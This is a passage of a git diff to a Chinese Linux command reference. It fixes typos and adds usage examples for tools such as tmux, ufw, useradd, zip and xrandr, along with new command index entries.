+-p, --portability
+ 使用可移植的输出格式。
+-o file, --output=file
+ 不将结果发送到stderr,而是覆盖指定的文件。
+-a, --append
+ (与-o一起使用。)不覆盖而是附加。
+-v, --verbose
+ 对程序知道的所有信息进行非常详细的输出。
+-q, --quiet
+ 不报告异常的程序终止(当命令被信号终止时)或非零退出状态。
-shell内建也有一个time命令,当运行time时候是调用的系统内建命令,应为系统内建的功能有限,所以需要时间其他功能需要使用time命令可执行二进制文件`/usr/bin/time`。
+### 软件包实例
使用`-o`选项将执行时间写入到文件中:
@@ -74,3 +121,8 @@ shell内建也有一个time命令,当运行time时候是调用的系统内建
`%w` | 进程主动进行上下文切换的次数,例如等待I/O操作完成。
`%c` | 进程被迫进行上下文切换的次数(由于时间片到期)。
+## 参考资料
+
+- Linux Time Command | Linuxize
+- time(1) — Arch manual pages
+- Time - ArchWiki
diff --git a/command/timedatectl.md b/command/timedatectl.md
index 4c32dfa55ed..55d4a520b2b 100644
--- a/command/timedatectl.md
+++ b/command/timedatectl.md
@@ -30,9 +30,14 @@ Query or change system time and date settings.
-H --host=[USER@]HOST 在远程主机上操作
-M --machine=CONTAINER 在本地容器上操作。
--adjust-system-clock 更改本地 RTC 模式时调整系统时钟。
+ --monitor 监控systemd-timesyncd的状态
+ -p --property=NAME 仅显示此名称的属性
+ -a --all 显示所有属性,包括空属性
+ --value 显示属性时,只打印值
Commands:
status 显示当前的时间设置。
+ show 显示systemd-timedated的属性。
set-time TIME 设置系统时间。
set-timezone ZONE 设置系统时区。
list-timezones 显示已知时区。
@@ -58,11 +63,22 @@ NTP synchronized: no
DST active: n/a
```
+显示systemd-timedated的属性
+
+```
+$ timedatectl show
+Timezone=Asia/Shanghai
+LocalRTC=no
+CanNTP=yes
+NTP=yes
+NTPSynchronized=yes
+TimeUSec=Fri 2022-04-08 17:04:02 CST
+RTCTimeUSec=Fri 2022-04-08 17:04:02 CST
+```
+
显示系统所有可用的时区
```shell
-$ timedatectl show
-Unknown operation show
$ timedatectl list-timezones
Africa/Abidjan
Africa/Accra
diff --git a/command/tmux.md b/command/tmux.md
index 8ce7b1a7481..416bc775208 100644
--- a/command/tmux.md
+++ b/command/tmux.md
@@ -7,6 +7,9 @@ Tmux是一个优秀的终端复用软件,类似GNU Screen,但来自于OpenBS
使用它最直观的好处就是,通过一个终端登录远程主机并运行tmux后,在其中可以开启多个控制台而无需再“浪费”多余的终端来连接这台远程主机;
+开启鼠标滚轮滚动:
+`ctrl+b`,按下冒号 `:` 进入命令行模式,然后输入 `set -g mouse on` 后按回车
+
## 功能
- 提供了强劲的、易于使用的命令行界面。
@@ -38,59 +41,59 @@ make && make install
## 快捷键使用说明
-| | |
-| :----- | :----- |
-| Ctrl+b | 激活控制台;此时以下按键生效 |
+| 快捷键 | 功能说明 |
+| :----- | :--------------------------- |
+| Ctrl+b | 激活控制台;此时以下按键生效 |
### 系统操作
-| | |
-| :----- | -------- |
-| ? | 列出所有快捷键;按q返回 |
-| d | 脱离当前会话;这样可以暂时返回Shell界面,输入tmux attach能够重新进入之前的会话 |
-| D | 选择要脱离的会话;在同时开启了多个会话时使用 |
-| Ctrl+z | 挂起当前会话 |
-| r | 强制重绘未脱离的会话 |
-| s | 选择并切换会话;在同时开启了多个会话时使用 |
-| : | 进入命令行模式;此时可以输入支持的命令,例如kill-server可以关闭服务器 |
-| \[ | 进入复制模式;此时的操作与vi/emacs相同,按q/Esc退出 |
-| \~ | 列出提示信息缓存;其中包含了之前tmux返回的各种提示信息 |
+| 快捷键 | 功能说明 |
+| :----- | ------------------------------------------------------------ |
+| ? | 列出所有快捷键;按q返回 |
+| d | 脱离当前会话;这样可以暂时返回Shell界面,输入tmux attach能够重新进入之前的会话 |
+| D | 选择要脱离的会话;在同时开启了多个会话时使用 |
+| Ctrl+z | 挂起当前会话 |
+| r | 强制重绘未脱离的会话 |
+| s | 选择并切换会话;在同时开启了多个会话时使用 |
+| : | 进入命令行模式;此时可以输入支持的命令,例如kill-server可以关闭服务器 |
+| \[ | 进入复制模式;此时的操作与vi/emacs相同,按q/Esc退出 |
+| \~ | 列出提示信息缓存;其中包含了之前tmux返回的各种提示信息 |
### 窗口操作
-| | |
-| :----- | -------- |
-| c | 创建新窗口 |
-| & | 关闭当前窗口 |
-| 数字键 | 切换至指定窗口 |
-| p | 切换至上一窗口 |
-| n | 切换至下一窗口 |
-| l | 在前后两个窗口间互相切换 |
-| w | 通过窗口列表切换窗口 |
-| , | 重命名当前窗口;这样便于识别 |
+| 快捷键 | 功能说明 |
+| :----- | ------------------------------------ |
+| c | 创建新窗口 |
+| & | 关闭当前窗口 |
+| 数字键 | 切换至指定窗口 |
+| p | 切换至上一窗口 |
+| n | 切换至下一窗口 |
+| l | 在前后两个窗口间互相切换 |
+| w | 通过窗口列表切换窗口 |
+| , | 重命名当前窗口;这样便于识别 |
| . | 修改当前窗口编号;相当于窗口重新排序 |
-| f | 在所有窗口中查找指定文本 |
+| f | 在所有窗口中查找指定文本 |
### 面板操作
-| | |
-| :----- | -------- |
-| ” | 将当前面板平分为上下两块 |
-| % | 将当前面板平分为左右两块 |
-| x | 关闭当前面板 |
-| ! | 将当前面板置于新窗口;即新建一个窗口,其中仅包含当前面板 |
-| Ctrl+方向键 | 以1个单元格为单位移动边缘以调整当前面板大小 |
-| Alt+方向键 | 以5个单元格为单位移动边缘以调整当前面板大小 |
-| Space | 在预置的面板布局中循环切换;依次包括even-horizontal、even-vertical、main-horizontal、main-vertical、tiled |
-| q | 显示面板编号 |
-| o | 在当前窗口中选择下一面板 |
-| 方向键 | 移动光标以选择面板 |
-| { | 向前置换当前面板 |
-| } | 向后置换当前面板 |
-| Alt+o | 逆时针旋转当前窗口的面板 |
-| Ctrl+o | 顺时针旋转当前窗口的面板 |
+| 快捷键 | 功能说明 |
+| :---------- | ------------------------------------------------------------ |
+| ” | 将当前面板平分为上下两块 |
+| % | 将当前面板平分为左右两块 |
+| x | 关闭当前面板 |
+| ! | 将当前面板置于新窗口;即新建一个窗口,其中仅包含当前面板 |
+| Ctrl+方向键 | 以1个单元格为单位移动边缘以调整当前面板大小 |
+| Alt+方向键 | 以5个单元格为单位移动边缘以调整当前面板大小 |
+| Space | 在预置的面板布局中循环切换;依次包括even-horizontal、even-vertical、main-horizontal、main-vertical、tiled |
+| q | 显示面板编号 |
+| o | 在当前窗口中选择下一面板 |
+| 方向键 | 移动光标以选择面板 |
+| { | 向前置换当前面板 |
+| } | 向后置换当前面板 |
+| Alt+o | 逆时针旋转当前窗口的面板 |
+| Ctrl+o | 顺时针旋转当前窗口的面板 |
1)进入tmux面板后,一定要先按ctrl+b,然后松开,再按其他的组合键才生效。
@@ -120,4 +123,4 @@ ctrl+b d # 脱离当前会话;这样可以暂时返回Shell界面,
## 参考资料
-- tmux 官网下载地址:http://tmux.github.io/
\ No newline at end of file
+- tmux 官网下载地址:http://tmux.github.io/
diff --git a/command/top.md b/command/top.md
index 0638d5ed09f..4bdea02c729 100644
--- a/command/top.md
+++ b/command/top.md
@@ -25,7 +25,8 @@ top(选项)
-i<时间>:设置间隔时间;
-u<用户名>:指定用户名;
-p<进程号>:指定进程;
--n<次数>:循环显示的次数。
+-n<次数>:循环显示的次数;
+-H:所有线程占用资源情况。
```
### top交互命令
diff --git a/command/touch.md b/command/touch.md
index 37a1a698718..384efbff5e5 100644
--- a/command/touch.md
+++ b/command/touch.md
@@ -20,7 +20,7 @@ touch(选项)(参数)
-c:或--no-create 不建立任何文件;
-d:<时间日期> 使用指定的日期时间,而非现在的时间;
-f:此参数将忽略不予处理,仅负责解决BSD版本touch指令的兼容性问题;
--m:或--time=mtime或--time=modify 只更该变动时间;
+-m:或--time=mtime或--time=modify 只更改变动时间;
-r:<参考文件或目录> 把指定文件或目录的日期时间,统统设成和参考文件或目录的日期时间相同;
-t:<日期时间> 使用指定的日期时间,而非现在的时间;
--help:在线帮助;
diff --git a/command/trap.md b/command/trap.md
index d1b59672643..3d9a0457193 100644
--- a/command/trap.md
+++ b/command/trap.md
@@ -43,7 +43,7 @@ signal_spec:信号名称或信号名称对应的数字。
| ------- | --- | ---- |
| SIGHUP | 1 | 本信号在用户终端连接(正常或非正常)结束时发出,通常是在终端的控制进程结束时,通知同一session内的各个作业,这时它们与控制终端不再关联。登录Linux时,系统会分配给登录用户一个终端(Session)。在这个终端运行的所有程序,包括前台进程组和后台进程组,一般都属于这个Session。当用户退出Linux登录时,前台进程组和后台有对终端输出的进程将会收到SIGHUP信号。这个信号的默认操作为终止进程,因此前台进程组和后台有终端输出的进程就会中止。对于与终端脱离关系的守护进程,这个信号用于通知它重新读取配置文件。 |
| SIGINT | 2 | 程序终止(interrupt)信号,在用户键入 Ctrl+C 时发出。 |
-| SIGQUIT | 3 | 和SIGINT类似,但由QUIT字符(通常是Ctrl /)来控制。进程在因收到SIGQUIT退出时会产生core文件,在这个意义上类似于一个程序错误信号。 |
+| SIGQUIT | 3 | 和SIGINT类似,但由QUIT字符(通常是Ctrl+\\)来控制。进程在因收到SIGQUIT退出时会产生core文件,在这个意义上类似于一个程序错误信号。 |
| SIGFPE | 8 | 在发生致命的算术运算错误时发出。不仅包括浮点运算错误,还包括溢出及除数为0等其它所有的算术错误。 |
| SIGKILL | 9 | 用来立即结束程序的运行。本信号不能被阻塞,处理和忽略。 |
| SIGALRM | 14 | 时钟定时信号,计算的是实际的时间或时钟时间。alarm 函数使用该信号。 |
diff --git a/command/tree.md b/command/tree.md
index a9da13b8277..1e77168785f 100644
--- a/command/tree.md
+++ b/command/tree.md
@@ -119,4 +119,17 @@ tree -if /private/
/private/tftpboot
```
+显示所有文件目录(包括隐藏文件)并忽略(node_modules|.git)目录,展示(`-L 2`)两层。
+
+```shell
+$ tree -I 'node_modules|.git' -L 2 -a
+
+.
+├── .github
+│ └── workflows
+├── LICENSE
+├── README.md
+└── renovate.json
+```
+
diff --git a/command/ufw.md b/command/ufw.md
new file mode 100644
index 00000000000..43ce91a1289
--- /dev/null
+++ b/command/ufw.md
@@ -0,0 +1,104 @@
+ufw
+===
+
+ubuntu防火墙管理工具
+
+## 概要
+
+```shell
+sudo ufw [选项] [规则/命令]
+```
+
+## 用途
+
+- 管理Ubuntu系统防火墙规则,简化`iptables`操作。
+- 启用或禁用防火墙,查看当前防火墙状态。
+- 快速配置允许/拒绝端口、服务或特定IP的访问。
+
+## 参数
+
+### 常用操作命令
+
+- `enable`: 启用防火墙并设置开机自启。
+- `disable`: 关闭防火墙。
+- `reload`: 重新加载防火墙规则(不中断现有连接)。
+- `reset`: 重置所有规则到初始状态。
+- `allow `: 允许指定规则(如端口、服务)。
+- `deny `: 拒绝指定规则。
+- `status`: 显示防火墙状态和规则列表。
+
+### 规则格式
+
+- ``: 端口号(如 `22`、`80/tcp`)。
+- ``: 协议类型(`tcp` 或 `udp`)。
+- `comment `: 为规则添加注释(需配合 `allow`/`deny` 使用)。
+
+### 选项
+
+- `--dry-run`: 仅显示规则变更,不实际应用。
+
+------
+
+## 返回值
+
+- 成功执行返回 `0`。
+- 错误或无效参数返回非零值。
+
+------
+
+## 示例
+
+### 基础操作
+
+```
+# 启用防火墙
+sudo ufw enable
+
+# 关闭防火墙
+sudo ufw disable
+
+# 查看防火墙状态
+sudo ufw status
+```
+
+### 规则配置
+
+```
+# 允许SSH默认端口(22/tcp)
+sudo ufw allow ssh
+
+# 允许TCP协议的8080端口并添加注释
+sudo ufw allow 8080/tcp comment "Web Server"
+
+# 拒绝来自192.168.1.5的访问
+sudo ufw deny from 192.168.1.5
+
+# 拒绝UDP协议的53端口
+sudo ufw deny 53/udp
+```
+
+### 高级操作
+
+```
+# 显示带编号的规则列表(便于删除)
+sudo ufw status numbered
+
+# 删除第3条规则
+sudo ufw delete 3
+
+# 重置所有规则
+sudo ufw reset
+```
+
+------
+
+## 注意
+
+1. **权限要求**:需使用 `sudo` 执行命令。
+2. **默认策略**:首次启用时默认阻止所有入站流量,允许所有出站流量。
+3. **规则优先级**:
+ 规则按顺序匹配,先拒绝后允许可能导致冲突
+4. **日志记录**:
+ 可通过 `sudo ufw logging on` 启用日志,日志路径为 `/var/log/ufw.log`
+5. **服务名称支持**:
+ 支持 `/etc/services` 中定义的服务名(如 `http`、`ssh`)
diff --git a/command/useradd.md b/command/useradd.md
index 9f9cb6b1c5f..772fad8f762 100644
--- a/command/useradd.md
+++ b/command/useradd.md
@@ -95,4 +95,19 @@ useradd caojh -u 544
需要说明的是,设定ID值时尽量要大于500,以免冲突。因为Linux安装后会建立一些特殊用户,一般0到499之间的值留给bin、mail这样的系统账号。
+新建一个普通用户:
+
+```shell
+useradd lutixia
+```
+
+新建一个系统用户,系统用户一般用于管理服务,无需登录,所以分配nologin,限制其登录系统:
+```shell
+useradd -r -s /sbin/nologin mq
+```
+
+修改创建用户的默认参数,设置密码过期后到永久禁用的不活动时间为30天:
+```shell
+useradd -D -f 30
+```
diff --git a/command/vi.md b/command/vi.md
index f5b02d82a32..6f78d225eab 100644
--- a/command/vi.md
+++ b/command/vi.md
@@ -28,7 +28,7 @@ nyy:将当前行及其下n行的内容保存到寄存器?中,其中?为
p:粘贴文本操作,用于将缓存区的内容粘贴到当前光标所在位置的下方;
P:粘贴文本操作,用于将缓存区的内容粘贴到当前光标所在位置的上方;
/字符串:文本查找操作,用于从当前光标所在位置开始向文件尾部查找指定字符串的内容,查找的字符串会被加亮显示;
-?字符串:文本查找操作,用于从当前光标所在位置开始向文件头部查找指定字符串的内容,查找的字符串会被加亮显示;
+?字符串:文本查找操作,用于从当前光标所在位置开始向文件头部查找指定字符串的内容,查找的字符串会被加亮显示;
a,bs/F/T:替换文本操作,用于在第a行到第b行之间,将F字符串换成T字符串。其中,“s/”表示进行替换操作;
a:在当前字符后添加文本;
A:在行末添加文本;
@@ -38,9 +38,9 @@ o:在当前行后面插入一空行;
O:在当前行前面插入一空行;
:wq:在命令模式下,执行存盘退出操作;
:w:在命令模式下,执行存盘操作;
-:w!:在命令模式下,执行强制存盘操作;
+:w!:在命令模式下,执行强制存盘操作;
:q:在命令模式下,执行退出vi操作;
-:q!:在命令模式下,执行强制退出vi操作;
+:q!:在命令模式下,执行强制退出vi操作;
:e文件名:在命令模式下,打开并编辑指定名称的文件;
:n:在命令模式下,如果同时打开多个文件,则继续编辑下一个文件;
:f:在命令模式下,用于显示当前的文件名、光标所在行的行号以及显示比例;
@@ -67,7 +67,7 @@ vi(选项)(参数)
-n:不实用缓存功能;
-o<文件数目>:指定同时打开指定数目的文件;
-R:以只读方式打开文件;
--s:安静模式,不现实指令的任何错误信息。
+-s:安静模式,不显示指令的任何错误信息。
```
### 参数
@@ -99,6 +99,9 @@ vi和ex编辑器的功能是相同的,二者的主要区别是用户界面。
则从文件第一行至文件末尾($)将大写I全部替换成小写i。vi编辑器的三种工作方式之间的转换如图所示。
!vi
+【查看行号】
+在 vi 或 vim 编辑器中,按 Esc,然后输入:
+:set number
diff --git a/command/wait.md b/command/wait.md
index 7b65af32db7..84c14ebf3e5 100644
--- a/command/wait.md
+++ b/command/wait.md
@@ -21,15 +21,27 @@ wait(参数)
使用命令wait等待作业号为1的作业完成后再返回,输入如下命令:
+运行一个sleep进程
+
```shell
-wait %1 #等待作业号为3的作业完成
+sleep 10s &
+[1] 27156
```
-执行上面的指令后,将输出指定作业号的指令,如下所示:
+指定作业号
```shell
-find / -name password
+wait %1 #等待作业号为1的作业完成
+[1]+ Done sleep 10s
```
+指定进程号
+
+```shell
+wait 27156
+[1]+ Done sleep 10s
+```
+输出当前存在作业号的指令,如下所示:
+[jobs](./jobs.md)
diff --git a/command/xrandr.md b/command/xrandr.md
new file mode 100644
index 00000000000..b579980f577
--- /dev/null
+++ b/command/xrandr.md
@@ -0,0 +1,71 @@
+xrandr
+===
+
+X 窗口系统配置管理工具
+
+## 补充说明
+
+**xrandr命令**RandR(Rotate and Resize,旋转与缩放)是一个X窗口系统扩展,允许客户端动态调整(即缩放、旋转、翻转)屏幕。xrandr是一款官方的randr扩展配置工具。
+
+### 语法
+
+```shell
+xrandr(选项)(参数)
+```
+
+### 选项
+
+```shell
+--auto #以系统最大分辨率输出
+--off #指定设备设置为关闭
+--output #输出设备
+--mode #设置分辨率
+--rate #设置刷新率
+--right-of #主显示器右侧
+--left-of #主显示器左侧
+--above #主显示器上方
+--below #主显示器下方
+```
+
+### 参数
+
+* 显示设备编号
+
+### 实例
+
+测试配置,列出可用设备及其信息
+
+```shell
+xrandr
+Screen 0: minimum 320 x 200, current 3200 x 1080, maximum 8192 x 8192
+VGA-1 disconnected (normal left inverted right x axis y axis)
+HDMI-1 connected primary 1920x1080+0+0 (normal left inverted right x axis y axis) 531mm x 299mm
+ 1920x1080 59.93 + 60.00* 50.00 59.94
+ 1920x1080i 60.00 50.00 59.94
+ 1680x1050 59.88
+…
+```
+
+克隆屏幕
+
+```shell
+xrandr --output HDMI-1 --auto
+```
+
+多显示器关闭不需要的
+
+```shell
+xrandr --output HDMI-1 --off --output HDMI-2 --auto
+```
+
+指定分辨率和刷新率
+
+```shell
+xrandr --output HDMI-1 --mode 1920x1080 --rate 60
+```
+
+VGA1位于HDMI1左侧,均使用最佳分辨率,分屏显示
+
+```shell
+xrandr --output VGA1 --auto --output HDMI1 --auto --right-of VGA1
+```
\ No newline at end of file
diff --git a/command/yum.md b/command/yum.md
index 0b69f542bb2..806bf8a3972 100644
--- a/command/yum.md
+++ b/command/yum.md
@@ -44,7 +44,8 @@ shell:进入yum的shell提示符;
resolvedep:显示rpm软件包的依赖关系;
localinstall:安装本地的rpm软件包;
localupdate:显示本地rpm软件包进行更新;
-deplist:显示rpm软件包的所有依赖关系。
+deplist:显示rpm软件包的所有依赖关系;
+provides:查询某个程序所在安装包。
```
### 实例
diff --git a/command/zcat.md b/command/zcat.md
index 070127192cc..290b22fecca 100644
--- a/command/zcat.md
+++ b/command/zcat.md
@@ -17,7 +17,7 @@ zcat(选项)(参数)
```shell
-S:指定gzip格式的压缩包的后缀。当后缀不是标准压缩包后缀时使用此选项;
--c:将文件内容写到标注输出;
+-c:将文件内容写到标准输出;
-d:执行解压缩操作;
-l:显示压缩包中文件的列表;
-L:显示软件许可信息;
diff --git a/command/zip.md b/command/zip.md
index d0aa8a8b44c..b7370d8cdb4 100644
--- a/command/zip.md
+++ b/command/zip.md
@@ -11,45 +11,40 @@ zip
```shell
zip(选项)(参数)
+zip [-选项] [-b 路径] [-t 日期] [-n 后缀名] [压缩文件列表] [-xi 列表]
```
### 选项
```shell
--A:调整可执行的自动解压缩文件;
--b<工作目录>:指定暂时存放文件的目录;
--c:替每个被压缩的文件加上注释;
--d:从压缩文件内删除指定的文件;
--D:压缩文件内不建立目录名称;
--f:此参数的效果和指定“-u”参数类似,但不仅更新既有文件,如果某些文件原本不存在于压缩文件内,使用本参数会一并将其加入压缩文件中;
--F:尝试修复已损坏的压缩文件;
--g:将文件压缩后附加在已有的压缩文件之后,而非另行建立新的压缩文件;
--h:在线帮助;
--i<范本样式>:只压缩符合条件的文件;
--j:只保存文件名称及其内容,而不存放任何目录名称;
--J:删除压缩文件前面不必要的数据;
--k:使用MS-DOS兼容格式的文件名称;
--l:压缩文件时,把LF字符置换成LF+CR字符;
--ll:压缩文件时,把LF+cp字符置换成LF字符;
--L:显示版权信息;
--m:将文件压缩并加入压缩文件后,删除原始文件,即把文件移到压缩文件中;
--n<字尾字符串>:不压缩具有特定字尾字符串的文件;
--o:以压缩文件内拥有最新更改时间的文件为准,将压缩文件的更改时间设成和该文件相同;
--q:不显示指令执行过程;
--r:递归处理,将指定目录下的所有文件和子目录一并处理;
--S:包含系统和隐藏文件;
--t<日期时间>:把压缩文件的日期设成指定的日期;
--T:检查备份文件内的每个文件是否正确无误;
--u:更换较新的文件到压缩文件内;
--v:显示指令执行过程或显示版本信息;
--V:保存VMS操作系统的文件属性;
--w:在文件名称里假如版本编号,本参数仅在VMS操作系统下有效;
--x<范本样式>:压缩时排除符合条件的文件;
--X:不保存额外的文件属性;
--y:直接保存符号连接,而非该链接所指向的文件,本参数仅在UNIX之类的系统下有效;
--z:替压缩文件加上注释;
--$:保存第一个被压缩文件所在磁盘的卷册名称;
--<压缩效率>:压缩效率是一个介于1~9的数值。
+-f: 刷新:仅更改的文件
+-u: 更新:仅更改或新文件
+-d: 删除 zip 文件中的条目
+-m: 移至 zip 文件(删除操作系统文件)
+-r: 递归到目录
+-j: 垃圾(不记录)目录名
+-0: 仅存储
+-l: 将 LF 转换为 CR LF (-ll CR LF 到 LF)
+-1: 压缩速度更快
+-9: 压缩得更好
+-v: 详细操作/打印版本信息
+-q: 安静运行
+-c: 添加一行注释
+-z: 添加 zip 文件注释
+-@: 从标准输入读取名称
+-o: 使 zip 文件与最新条目一样旧
+-x: 排除以下名称
+-i: 仅包含以下名称
+-F: 修复 zip 文件(-FF 更加努力)
+-D: 不添加目录条目
+-A: 调整自解压exe
+-D: 不添加目录条目
+-T: 测试 zip 文件的完整性
+-X: 排除额外的文件属性
+-n: 不压缩这些后缀
+-e: 加密
+-y: 将符号链接存储为链接而不是引用的文件
+-h2: 显示更多帮助
```
### 参数
@@ -59,7 +54,49 @@ zip(选项)(参数)
### 实例
-将`/home/Blinux/html/`这个目录下所有文件和文件夹打包为当前目录下的html.zip:
+压缩单个文件,这会将 `file.txt` 文件压缩到名为 `compressed.zip` 的归档文件中
+
+```shell
+zip compressed.zip file.txt
+```
+
+压缩多个文件,下面这个命令会把 `file1.txt`,`file2.txt`,和 `file3.txt` 压缩到一个叫做 `compressed.zip` 的归档文件中。
+
+```shell
+zip compressed.zip file1.txt file2.txt file3.txt
+```
+
+压缩整个目录,下面这个命令 `-r` 参数表示递归压缩,该命令将压缩 `folder` 目录及其所有子目录和文件
+
+```shell
+zip -r compressed.zip folder/
+```
+
+使用最大压缩比压缩文件,下面这个命令 `-9` 参数指定了最大压缩比,尽管可能需要更长的处理时间
+
+```shell
+zip -9 compressed.zip file.txt
+```
+
+创建密码保护的 zip 文件,下面这个命令 `-e` 参数会提示用户输入密码以创建加密的 zip 文件。
+
+```shell
+zip -e secure.zip file.txt
+```
+
+只压缩新文件或已更改的文件,如果 `compressed.zip` 已存在,`-u` 参数会更新归档中的 `file.txt` 或将其添加至归档中(如果它是新的)
+
+```shell
+zip -u compressed.zip file.txt
+```
+
+压缩文件但不保留目录结构,`-j` 参数将不保留 `file.txt` 的父目录 `folder`,文件在 zip 中的位置将是在根目录下
+
+```shell
+zip -j compressed.zip folder/file.txt
+```
+
+将`/home/Blinux/html/`这个目录下所有文件和文件夹打包为当前目录下的 `html.zip`:
```shell
zip -q -r html.zip /home/Blinux/html
diff --git a/command/znew.md b/command/znew.md
index c8adb0e1492..61ad1bb6b59 100644
--- a/command/znew.md
+++ b/command/znew.md
@@ -19,7 +19,7 @@ znew(选项)(参数)
-f:# 强制执行转换操作,即是目标“.gz”已经存在;
-t:# 删除原文件前测试新文件;
-v:# 显示文件名和每个文件的压缩比;
--9:# 食用油花的压缩比,速度较慢;
+-9:# 使用最高压缩率,速度较慢;
-P:# 使用管道完成转换操作,以降低磁盘空间使用;
-K:# 当“.Z”文件比“.gz”文件小时,保留“.Z”文件。
```
diff --git a/dist/data.json b/dist/data.json
index 2ddbe870d6c..f2d13fb85c5 100644
--- a/dist/data.json
+++ b/dist/data.json
@@ -2,7 +2,7 @@
"7z": {
"n": "7z",
"p": "/7z",
- "d": "拥有极高压缩比的开源压缩软件。用 7-Zip 解压过:zip、iso、7z压缩文件。"
+ "d": "拥有极高压缩比的开源压缩软件。"
},
"ab": {
"n": "ab",
@@ -19,6 +19,11 @@
"p": "/ack",
"d": "比grep好用的文本搜索工具"
},
+ "ag": {
+ "n": "ag",
+ "p": "/ag",
+ "d": "ack 的升级版,C语言编写,更快更人性化"
+ },
"alias": {
"n": "alias",
"p": "/alias",
@@ -179,11 +184,6 @@
"p": "/blockdev",
"d": "从命令行调用区块设备控制程序"
},
- "bmodinfo": {
- "n": "bmodinfo",
- "p": "/bmodinfo",
- "d": "显示给定模块的详细信息"
- },
"break": {
"n": "break",
"p": "/break",
@@ -197,7 +197,7 @@
"bunzip2": {
"n": "bunzip2",
"p": "/bunzip2",
- "d": "创一个bz2文件压缩包"
+ "d": "可解压缩.bz2格式的压缩文件。 "
},
"bye": {
"n": "bye",
@@ -207,7 +207,7 @@
"bzcat": {
"n": "bzcat",
"p": "/bzcat",
- "d": "解压缩指定的.bz2文件"
+ "d": "不解压,直接查看指定的.bz2文件"
},
"bzcmp": {
"n": "bzcmp",
@@ -359,6 +359,11 @@
"p": "/colrm",
"d": "删除文件中的指定列"
},
+ "column": {
+ "n": "column",
+ "p": "/column",
+ "d": "按列格式化输出文件"
+ },
"comm": {
"n": "comm",
"p": "/comm",
@@ -399,6 +404,11 @@
"p": "/cpio",
"d": "用来建立、还原备份档的工具程序"
},
+ "createrepo": {
+ "n": "createrepo",
+ "p": "/createrepo",
+ "d": "创建YUM仓库"
+ },
"crontab": {
"n": "crontab",
"p": "/crontab",
@@ -539,6 +549,11 @@
"p": "/dnsdomainname",
"d": "定义DNS系统中FQDN名称的域名"
},
+ "docker": {
+ "n": "docker",
+ "p": "/docker",
+ "d": "容器化技术,可以将应用程序及其依赖项打包到一个可移植的容器中,使其可以在不同的环境中运行"
+ },
"domainname": {
"n": "domainname",
"p": "/domainname",
@@ -739,6 +754,11 @@
"p": "/fgrep",
"d": "为文件搜索文字字符串"
},
+ "figlet": {
+ "n": "figlet",
+ "p": "/figlet",
+ "d": "字符串转为 “字画符”。"
+ },
"file": {
"n": "file",
"p": "/file",
@@ -792,7 +812,7 @@
"fsck": {
"n": "fsck",
"p": "/fsck",
- "d": "检查并且试图修复文件系统中的错误"
+ "d": "fsck(英文全拼:file system check)命令检查并且试图修复文件系统中的错误"
},
"ftp": {
"n": "ftp",
@@ -844,11 +864,26 @@
"p": "/get_module",
"d": "获取Linux内核模块的详细信息"
},
+ "getcap": {
+ "n": "getcap",
+ "p": "/getcap",
+ "d": "显示文件的能力(capabilities)"
+ },
"getenforce": {
"n": "getenforce",
"p": "/getenforce",
"d": "显示当前SELinux的应用模式,是强制、执行还是停用"
},
+ "getent": {
+ "n": "getent",
+ "p": "/getent",
+ "d": "查询 DNS 名称服务器中的命名空间"
+ },
+ "getfacl": {
+ "n": "getfacl",
+ "p": "/getfacl",
+ "d": "获取文件访问控制列表(access control lists)"
+ },
"getsebool": {
"n": "getsebool",
"p": "/getsebool",
@@ -864,6 +899,11 @@
"p": "/gpasswd",
"d": "Linux下工作组文件的管理工具"
},
+ "gpg": {
+ "n": "gpg",
+ "p": "/gpg",
+ "d": "可用于签名、检查、加密或解密的工具"
+ },
"gpm": {
"n": "gpm",
"p": "/gpm",
@@ -884,6 +924,11 @@
"p": "/groupdel",
"d": "用于删除指定的工作组"
},
+ "groupmems": {
+ "n": "groupmems",
+ "p": "/groupmems",
+ "d": "管理用户主要组的成员"
+ },
"groupmod": {
"n": "groupmod",
"p": "/groupmod",
@@ -914,6 +959,16 @@
"p": "/grub",
"d": "多重引导程序grub的命令行shell工具"
},
+ "grub2-mkconfig": {
+ "n": "grub2-mkconfig",
+ "p": "/grub2-mkconfig",
+ "d": "生成 grub.cfg 配置文件。"
+ },
+ "grub2-set-default": {
+ "n": "grub2-set-default",
+ "p": "/grub2-set-default",
+ "d": "设置系统默认的启动内核"
+ },
"gunzip": {
"n": "gunzip",
"p": "/gunzip",
@@ -934,6 +989,11 @@
"p": "/halt",
"d": "关闭正在运行的Linux操作系统"
},
+ "hcitool": {
+ "n": "hcitool",
+ "p": "/hcitool",
+ "d": "hcitool是一个Linux命令行工具,用于管理和调试蓝牙设备。它可以用于扫描周围的蓝牙设备、连接到蓝牙设备发送命令和数据包等。"
+ },
"hdparm": {
"n": "hdparm",
"p": "/hdparm",
@@ -1149,6 +1209,11 @@
"p": "/iptstate",
"d": "显示iptables的工作状态"
},
+ "iscsiadm": {
+ "n": "iscsiadm",
+ "p": "/iscsiadm",
+ "d": "管理iSCSI连接"
+ },
"ispell": {
"n": "ispell",
"p": "/ispell",
@@ -1177,7 +1242,7 @@
"journalctl": {
"n": "journalctl",
"p": "/journalctl",
- "d": "检索 systemd 日志,是 CentOS 7 才有的工具。"
+ "d": "检索 systemd 日志,只要使用 systemd 的 Linux 发行版(如 Fedora、Ubuntu Modern、Debian、SUSE、Arch),几乎都会配备 journalctl。"
},
"jq": {
"n": "jq",
@@ -1509,6 +1574,11 @@
"p": "/mkbootdisk",
"d": "可建立目前系统的启动盘"
},
+ "mkcert": {
+ "n": "mkcert",
+ "p": "/mkcert",
+ "d": "用来生成自签证书的工具"
+ },
"mkdir": {
"n": "mkdir",
"p": "/mkdir",
@@ -1549,6 +1619,16 @@
"p": "/mktemp",
"d": "创建临时文件供shell脚本使用"
},
+ "modetest": {
+ "n": "modetest",
+ "p": "/modetest",
+ "d": "DRM/KMS驱动程序libdrm中的模式测试工具"
+ },
+ "modinfo": {
+ "n": "modinfo",
+ "p": "/modinfo",
+ "d": "显示给定模块的详细信息"
+ },
"modprobe": {
"n": "modprobe",
"p": "/modprobe",
@@ -1574,6 +1654,11 @@
"p": "/mtools",
"d": "显示mtools支持的指令"
},
+ "mtr": {
+ "n": "mtr",
+ "p": "/mtr",
+ "d": "`mtr` 结合了 `traceroute` 和 `ping` 程序的功能,是一款简单的网络诊断工具"
+ },
"mv": {
"n": "mv",
"p": "/mv",
@@ -1607,7 +1692,7 @@
"named-checkzone": {
"n": "named-checkzone",
"p": "/named-checkzone",
- "d": "使用named-checkzone命令可以进行区域文件有效性检查和转换,必须指定区域名称和区域文件名称"
+ "d": "使用 named-checkzone 可验证并转换区域文件,需指定区域名和文件名。"
},
"nano": {
"n": "nano",
